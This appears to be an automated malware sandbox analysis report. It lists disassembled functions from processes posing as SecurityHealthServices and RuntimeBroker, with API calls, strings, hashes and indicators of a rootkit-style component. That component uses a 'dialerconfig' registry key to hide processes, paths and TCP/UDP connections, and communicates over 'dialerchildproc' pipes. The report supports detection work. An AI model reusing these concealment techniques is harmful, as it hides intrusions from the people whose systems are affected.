Part of subcall function 00007FF7B0873350: wcslen.MSVCRT ref: 00007FF7B08734B9

Part of subcall function 00007FF7B0873C40: memset.MSVCRT ref: 00007FF7B0873DF7

wcslen.MSVCRT ref: 00007FF7B0879A38

Strings

Jz/zcG9vcW9ia3NzjYV0dNBtZ3podm9xMWR1eGxnbHFqZWNwbG9xb2Zrc3NyenR0aG1nemh2b3FxZHV4vGdscRkX2X5s23iiR9NyP79bIBwBHkcKGhkIAxAJVRsNCQIeHkUBFUwdBAFGAh1TNjUnVAUCAx9Ge2J7VWR1eGxnbHEhxcvtY663oWmqtb19u7K6LNSntWa3qb813bK3bKaqv2WkpL4DrrehXyq9vHq7srpRLF60Zrepv0glsbdipqq/OAwA, xrefs: 00007FF7B08797EB

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: memset$wcslen$wcscatwcscpy
String ID: Jz/zcG9vcW9ia3NzjYV0dNBtZ3podm9xMWR1eGxnbHFqZWNwbG9xb2Zrc3NyenR0aG1nemh2b3FxZHV4vGdscRkX2X5s23iiR9NyP79bIBwBHkcKGhkIAxAJVRsNCQIeHkUBFUwdBAFGAh1TNjUnVAUCAx9Ge2J7VWR1eGxnbHEhxcvtY663oWmqtb19u7K6LNSntWa3qb813bK3bKaqv2WkpL4DrrehXyq9vHq7srpRLF60Zrepv0glsbdipqq/OAwA
API String ID: 386257100-3841194795
Opcode ID: 87cc30474647cb8f5cb92bd999b3eb37ce29734eab5682e4b042d0d3cfd989a1
Instruction ID: c1b04b4d44ddfaeddd0f95ce4ea01faa0ae70a60aa99c6d9d80a3b9a568e237e
Opcode Fuzzy Hash: 87cc30474647cb8f5cb92bd999b3eb37ce29734eab5682e4b042d0d3cfd989a1
Instruction Fuzzy Hash: B8129F228297C244E321AF2DAC053F5A350BFA6394F945335EA8D56BADEF3C73548364

Function 00007FF7B08738A0 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF7B08738CB
wcscpy.MSVCRT ref: 00007FF7B087392C
wcscat.MSVCRT ref: 00007FF7B0873937
wcslen.MSVCRT ref: 00007FF7B0873948

Strings

@, xrefs: 00007FF7B0873983
, xrefs: 00007FF7B08739B1
0, xrefs: 00007FF7B0873978

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: memsetwcscatwcscpywcslen
String ID: $0$@
API String ID: 468205783-2347541974
Opcode ID: fe06ef2683f8a128436b56955beaa1372343ba1654fec84b75adfd92f15878a4
Instruction ID: 898e65c93a81f771ab4831f8d2028a906a9976f3fcd8c4fb47bd7995d23b1261
Opcode Fuzzy Hash: fe06ef2683f8a128436b56955beaa1372343ba1654fec84b75adfd92f15878a4
Instruction Fuzzy Hash: 6161622160CAC185E7219B2CE8453AAE760FFA6394F900131EB8D42BADDF7DE195CB11

Function 00007FF7B0872104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7B0872118
TlsGetValue.KERNEL32 ref: 00007FF7B087214F
GetLastError.KERNEL32 ref: 00007FF7B0872154
LeaveCriticalSection.KERNEL32 ref: 00007FF7B0872212
free.MSVCRT ref: 00007FF7B0872234
DeleteCriticalSection.KERNEL32 ref: 00007FF7B087225D

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: 1003b3a9c11004496f7969f50b2170330904d2aba08311d7b563f6a4c64bbcc4
Instruction ID: f33961efd3a61e8e176f96323d042a2ac99d68ccf216a9d144e0d457f653d5f3
Opcode Fuzzy Hash: 1003b3a9c11004496f7969f50b2170330904d2aba08311d7b563f6a4c64bbcc4
Instruction Fuzzy Hash: 9C21F121E1960281F655AB49E948335E350BF66B90FD41030CB1E4BBADCF2CFAA58330

Function 00007FF7B0871E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF7B0871E27

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 9c5a0ff21a0c83e9da8c24d792231ae06a3548a42e84bdb1c7cfbb85bf01632f
Instruction ID: 6019d2b4f624747d0413ef4d493b2f12bebb42f719afc3c58180ae667a62bc8a
Opcode Fuzzy Hash: 9c5a0ff21a0c83e9da8c24d792231ae06a3548a42e84bdb1c7cfbb85bf01632f
Instruction Fuzzy Hash: 53218122E0D20641FE767A1C959837991819FA77A4FA48131DF0D47BECDF2CBAE15360

Function 00007FF7B0873B70 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF7B0873B88
wcslen.MSVCRT ref: 00007FF7B0873BFE

Strings

0, xrefs: 00007FF7B0873BB2
@, xrefs: 00007FF7B0873BBA

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: wcslen
String ID: 0$@
API String ID: 4088430540-1545510068
Opcode ID: 6797e64e94e68538805c7862fdc7822024683de63107b6b6de603d7a20c9eaa6
Instruction ID: 7c7ea12e216ed279ea2b9671a9064b1b83501cffd27f53d87d4eafff5d330204
Opcode Fuzzy Hash: 6797e64e94e68538805c7862fdc7822024683de63107b6b6de603d7a20c9eaa6
Instruction Fuzzy Hash: 55115C2252868182E711DF18F44979AB3B4EFE5394F505124F78D83B68EF7DD296CB10

Function 00007FF7B0871880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7B0871247), ref: 00007FF7B08719F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF7B0871B8B
Unknown pseudo relocation bit size %d., xrefs: 00007FF7B0871B7B

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 05b02eadef049577249ee9bcf410033a9a5a4b56af89ebc08e7d15b80e57cfde
Instruction ID: 4f417e0164f44984cc1b065dcb6f346b1d71fa8f9d73bf16548e1211d4979252
Opcode Fuzzy Hash: 05b02eadef049577249ee9bcf410033a9a5a4b56af89ebc08e7d15b80e57cfde
Instruction Fuzzy Hash: BB517021A08642D6EB11AF2DD849775A761BB26B94FC44131DB1D07BACCF3CF6A6C720

Function 00007FF7B0871800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF7B087185A

Strings

Unknown error, xrefs: 00007FF7B0871824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF7B087184D

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 4f9b35adf0400cbf8a3d0aeb7b74782c162045b632be0e9dbddb3b43ac36e564
Instruction ID: fee1d6a789984f0f3f4b6d7da5f7fd7a8e651eb9654fc539b61a67ec1dab1f54
Opcode Fuzzy Hash: 4f9b35adf0400cbf8a3d0aeb7b74782c162045b632be0e9dbddb3b43ac36e564
Instruction Fuzzy Hash: 38F0C811E18A4582E611BB2CA9490B9E360FB6A7C1F809231EF4D57759DF2CF3928310

Function 00007FF7B087219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7B08721B2
TlsGetValue.KERNEL32 ref: 00007FF7B08721EB
GetLastError.KERNEL32 ref: 00007FF7B08721F0
LeaveCriticalSection.KERNEL32 ref: 00007FF7B087226C

Memory Dump Source

Source File: 00000006.00000002.1768855139.00007FF7B0871000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7B0870000, based on PE: true

Associated: 00000006.00000002.1768804217.00007FF7B0870000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1768985266.00007FF7B0883000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769040291.00007FF7B0887000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769080974.00007FF7B0888000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769707102.00007FF7B0B07000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1769784276.00007FF7B0B3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7b0870000_SecurityHealthServices.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 986a084a4208249141fb28877289fa647a4e99d147d9e5e5b660d21312ab677f
Instruction ID: ce781e49479b169089fcb6e8251d098c51ef2dde171602ec04192ae1537e9e0c
Opcode Fuzzy Hash: 986a084a4208249141fb28877289fa647a4e99d147d9e5e5b660d21312ab677f
Instruction Fuzzy Hash: A6011E25E0960282E655AB49AD08234E320BF26B91FD41031CB0E47BACDF2CFAB58320

Analysis Process: RuntimeBroker.exePID: 7428, Parent PID: 7180COMMON

Execution Graph

Execution Coverage:	6.9%
Dynamic/Decrypted Code Coverage:	95.8%
Signature Coverage:	0%
Total number of Nodes:	96
Total number of Limit Nodes:	15

Executed Functions

Function 1D3A2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 1D3A2BD0
lstrlenW.KERNEL32 ref: 1D3A2E0A

Part of subcall function 1D3A199C: OpenProcess.KERNEL32 ref: 1D3A19C2
Part of subcall function 1D3A199C: K32GetModuleFileNameExW.KERNEL32 ref: 1D3A19E0
Part of subcall function 1D3A199C: PathFindFileNameW.SHLWAPI ref: 1D3A19EF
Part of subcall function 1D3A199C: lstrlenW.KERNEL32 ref: 1D3A19FB
Part of subcall function 1D3A199C: StrCpyW.SHLWAPI ref: 1D3A1A0E
Part of subcall function 1D3A199C: CloseHandle.KERNEL32 ref: 1D3A1A1C

GetProcAddress.KERNEL32 ref: 1D3A2BE5

Part of subcall function 1D3A152C: StrCmpIW.SHLWAPI ref: 1D3A155D

Part of subcall function 1D3A3844: StrCmpNIW.SHLWAPI ref: 1D3A385C

StrCmpNIW.SHLWAPI ref: 1D3A2C28
lstrlenW.KERNEL32 ref: 1D3A2D50

Strings

NtQueryObject, xrefs: 1D3A2BDB
\Device\Nsi, xrefs: 1D3A2C1B
ntdll.dll, xrefs: 1D3A2BC9

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 4f621fb1587c0d31dffa94ac8be990c76594e3be50ef12941f5ce2f96c448f72
Instruction ID: e566b85e43136b7308cd593582f7c4d8f9ecc3c54333fd33787e241527e4727d
Opcode Fuzzy Hash: 4f621fb1587c0d31dffa94ac8be990c76594e3be50ef12941f5ce2f96c448f72
Instruction Fuzzy Hash: B2A1E17A321AA186DB09CF25D481BA97365FB44F84F45A226EE4DD7B24EF35CD80C342

Function 1D3A2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 1D3A2259
GetCurrentProcessId.KERNEL32 ref: 1D3A2263

Part of subcall function 1D3A1934: OpenProcess.KERNEL32 ref: 1D3A1952
Part of subcall function 1D3A1934: IsWow64Process.KERNEL32 ref: 1D3A1968
Part of subcall function 1D3A1934: CloseHandle.KERNEL32 ref: 1D3A1983

CreateFileW.KERNEL32 ref: 1D3A22BC
WriteFile.KERNEL32 ref: 1D3A22E4
ReadFile.KERNEL32 ref: 1D3A2303
CloseHandle.KERNEL32 ref: 1D3A230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 1D3A2293
\\.\pipe\dialerchildproc64, xrefs: 1D3A228C

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 7d2a482d6dc765d8b92c6e9682a7891b14c5ffbd24d3e3dc500ed4583ff8ff93
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 4321423661875083EB10CB25F4443A97761F789BA4F504316DAAA47BA8DF7CC249CF02

Function 1D3A2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 1D3A2F27
HeapAlloc.KERNEL32 ref: 1D3A2F3A
StrCmpNIW.SHLWAPI ref: 1D3A2FAF
GetProcessHeap.KERNEL32 ref: 1D3A3015
HeapFree.KERNEL32 ref: 1D3A3023

Strings

dialer, xrefs: 1D3A2FA8

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: fa25eebadc250caf986d8c1f4b15f0389ff6c3cbdabc2477c32a973bf550d315
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: B1319E3A701B65C3DB05CF56E98176AA760FB44B84F059226DF4987B26EF38D0A1C301

Function 00007FFD9BD82321 Relevance: 7.4, Strings: 1, Instructions: 6133COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9BD85619

Memory Dump Source

Source File: 0000000A.00000002.3107733733.00007FFD9BD80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BD80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffd9bd80000_RuntimeBroker.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 4dcde872a2e0f5663adc57eba06e3176ba8ea861633a475ca7d13f646d83f7ed
Instruction ID: 91f9e2b52f4247cd661972b4e126ef0c7db9e645f51f18cb132cb06b644c5f72
Opcode Fuzzy Hash: 4dcde872a2e0f5663adc57eba06e3176ba8ea861633a475ca7d13f646d83f7ed
Instruction Fuzzy Hash: 0383F612B1AD4F0BF7B996AC047523956C2EFE8252B5E11BAD41FC33E6ED29ED024341

Function 1D3A202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 1D3A20C6

Part of subcall function 1D3A2F04: GetProcessHeap.KERNEL32 ref: 1D3A2F27
Part of subcall function 1D3A2F04: HeapAlloc.KERNEL32 ref: 1D3A2F3A
Part of subcall function 1D3A2F04: StrCmpNIW.SHLWAPI ref: 1D3A2FAF
Part of subcall function 1D3A2F04: GetProcessHeap.KERNEL32 ref: 1D3A3015
Part of subcall function 1D3A2F04: HeapFree.KERNEL32 ref: 1D3A3023

Strings

dialer, xrefs: 1D3A20BF
S, xrefs: 1D3A21E7

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 70aaf0ea3b7fa533d75c0d245cd217bd05d7e66dae07399e04aa4c2d98613c2d
Instruction ID: 209b91ff2e875638ad9df59882a613079a1e6883d27774c886b8d5e5518df77d
Opcode Fuzzy Hash: 70aaf0ea3b7fa533d75c0d245cd217bd05d7e66dae07399e04aa4c2d98613c2d
Instruction Fuzzy Hash: 4B51E03AF10B7986D719CF26E8816AD73B5FB04BC4B41A625DF49A3B08DB35C891C302

Function 1D3A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 1D3A1633
HeapAlloc.KERNEL32 ref: 1D3A1642

Part of subcall function 1D3A1268: GetProcessHeap.KERNEL32 ref: 1D3A126E
Part of subcall function 1D3A1268: HeapAlloc.KERNEL32 ref: 1D3A127D
Part of subcall function 1D3A1268: GetProcessHeap.KERNEL32 ref: 1D3A1297
Part of subcall function 1D3A1268: HeapAlloc.KERNEL32 ref: 1D3A12A8

Part of subcall function 1D3A1000: GetProcessHeap.KERNEL32 ref: 1D3A1006
Part of subcall function 1D3A1000: HeapAlloc.KERNEL32 ref: 1D3A1015
Part of subcall function 1D3A1000: GetProcessHeap.KERNEL32 ref: 1D3A1028
Part of subcall function 1D3A1000: HeapAlloc.KERNEL32 ref: 1D3A1037

RegOpenKeyExW.ADVAPI32 ref: 1D3A16B2
RegOpenKeyExW.ADVAPI32 ref: 1D3A16DF
RegCloseKey.ADVAPI32 ref: 1D3A16F9
RegOpenKeyExW.ADVAPI32 ref: 1D3A1719
RegCloseKey.ADVAPI32 ref: 1D3A1734
RegOpenKeyExW.ADVAPI32 ref: 1D3A1754
RegCloseKey.ADVAPI32 ref: 1D3A176F
RegOpenKeyExW.ADVAPI32 ref: 1D3A178F
RegCloseKey.ADVAPI32 ref: 1D3A17AA
RegOpenKeyExW.ADVAPI32 ref: 1D3A17CA
RegCloseKey.ADVAPI32 ref: 1D3A17E5
RegOpenKeyExW.ADVAPI32 ref: 1D3A1805
RegCloseKey.ADVAPI32 ref: 1D3A1820
RegOpenKeyExW.ADVAPI32 ref: 1D3A1840
RegCloseKey.ADVAPI32 ref: 1D3A185B
RegOpenKeyExW.ADVAPI32 ref: 1D3A187B
RegCloseKey.ADVAPI32 ref: 1D3A1896
RegCloseKey.ADVAPI32 ref: 1D3A18A0

Part of subcall function 1D3A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 1D3A1319
Part of subcall function 1D3A12BC: GetProcessHeap.KERNEL32 ref: 1D3A1327
Part of subcall function 1D3A12BC: HeapAlloc.KERNEL32 ref: 1D3A1338
Part of subcall function 1D3A12BC: RegEnumValueW.ADVAPI32 ref: 1D3A1397
Part of subcall function 1D3A12BC: GetProcessHeap.KERNEL32 ref: 1D3A13DF
Part of subcall function 1D3A12BC: HeapAlloc.KERNEL32 ref: 1D3A13ED
Part of subcall function 1D3A12BC: GetProcessHeap.KERNEL32 ref: 1D3A140A
Part of subcall function 1D3A12BC: HeapFree.KERNEL32 ref: 1D3A1418
Part of subcall function 1D3A12BC: lstrlenW.KERNEL32 ref: 1D3A1421
Part of subcall function 1D3A12BC: GetProcessHeap.KERNEL32 ref: 1D3A142F
Part of subcall function 1D3A12BC: HeapAlloc.KERNEL32 ref: 1D3A143D

Strings

tcp_remote, xrefs: 1D3A1839
SOFTWARE\dialerconfig, xrefs: 1D3A1692
process_names, xrefs: 1D3A174D
pid, xrefs: 1D3A1712
paths, xrefs: 1D3A1788
tcp_local, xrefs: 1D3A17FE
service_names, xrefs: 1D3A17C3
udp, xrefs: 1D3A1874
startup, xrefs: 1D3A16D5

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: Heap$CloseOpenProcess$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 2135414181-2879589442
Opcode ID: 84d977f69669bb910c18c90d9c150143eff6fe6f95bc9245a9bd4b5f56132143
Instruction ID: fee73ecffce499603262e63171e144e87a5be61c35fa77a760ad986068bdeca4
Opcode Fuzzy Hash: 84d977f69669bb910c18c90d9c150143eff6fe6f95bc9245a9bd4b5f56132143
Instruction Fuzzy Hash: B371073A318E5586EB109F66E8947993374FB89BC8F015223DE5E9BB28DF38C544C742

Function 1D3A3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 1D3A379E
GetCurrentProcess.KERNEL32 ref: 1D3A37CC
VirtualProtectEx.KERNEL32 ref: 1D3A37EE
GetCurrentProcess.KERNEL32 ref: 1D3A3809
VirtualProtectEx.KERNEL32 ref: 1D3A382A

Strings

wr, xrefs: 1D3A37FF

Memory Dump Source

Source File: 0000000A.00000002.3098606830.000000001D3A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 1D3A0000, based on PE: true

Associated: 0000000A.00000002.3098606830.000000001D3C9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1d3a0000_RuntimeBroker.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: d32ae4a8204e49bc628008efad6ae2e23157f995be7630f0cfcb31d4ae0623d5
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 8A016D36704B4182EF149B62F4183A97374FB89B85F45012ADE9D4B755EF3DC609C705

Function 1D3A5B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 1D3A5B6B
